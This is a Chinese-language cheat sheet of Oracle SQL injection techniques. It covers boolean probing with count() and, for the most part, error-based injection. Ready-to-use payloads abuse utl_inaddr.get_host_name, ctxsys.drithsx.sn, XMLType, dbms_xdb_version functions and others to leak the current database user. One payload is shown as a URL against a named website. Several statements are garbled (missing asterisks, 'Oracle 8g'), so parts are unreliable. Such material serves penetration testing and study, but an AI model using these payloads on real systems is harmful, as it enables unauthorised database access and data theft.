判断注入
知识点
count()函数
count(*)将返回表格中所有存在的行的总数包括值为null的行,然而count(列名)将返回表格中除去null以外的所有行的总数(有默认值的列也会被计入)
简单的说就是返回当前表中有多少行
比较符
1=[报错语句]
1>[报错语句]
这样的方式进行报错注 入(MYSQL仅使用函数报错即可),类似mssql报错注入的方式
函数利用
数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select count () from dual)>0
select count (*) from dual查询出来的数字与小于符进行对比判断
数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select count () from dual)>999
这里如果查询出来的数比999小,那么页面将不正常,显示错误
报错函数注入
utl_inaddr.get_host_name()
utl_inaddr.get_host_address() 也可以这样利用
说明
UTL_INADDR.get_host_name本意是用来返回环境中主机名
使用方法: utl_inaddr.get_host_name((sql语句))
列:select utl_inaddr.get_host_name((select user from dual)) from dual
网站链接:http://www.jsporcle.com/news.jsp?id=1 and 1=utl_inaddr.get_host_name((select user from
dual))—
版本限制
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。
ctxsys.drithsx.sn()
说明
数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and 1=ctxsys.drithsx.sn(1,(select user from dual))
版本限制
暂时未找到与此相关函数,根据报错信息推测CTXSYS.DRITHSX.SN函数用于获取产品之SN,由于未找到以查询结果为名之产品,故报错。此方式需要安装CTXSYS包且对相关包有访问权限且Oracle版本为11g。如果你的结果是个有效的版本名,纯属运气问题。
XMLType()
说明
数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
数据库语句:select FROM CLASSINFO WHERE CLASSID=88 and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null
dbms_xdb_version.checkin()
说明
数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_version.makeversioned()
说明
数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()
说明
数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()
说明
数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
ordsys.ord_dicom.getmappingxpath()
说明
数据库语句:select * FROM CLASSINFO WHERE CLASSID=88 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)
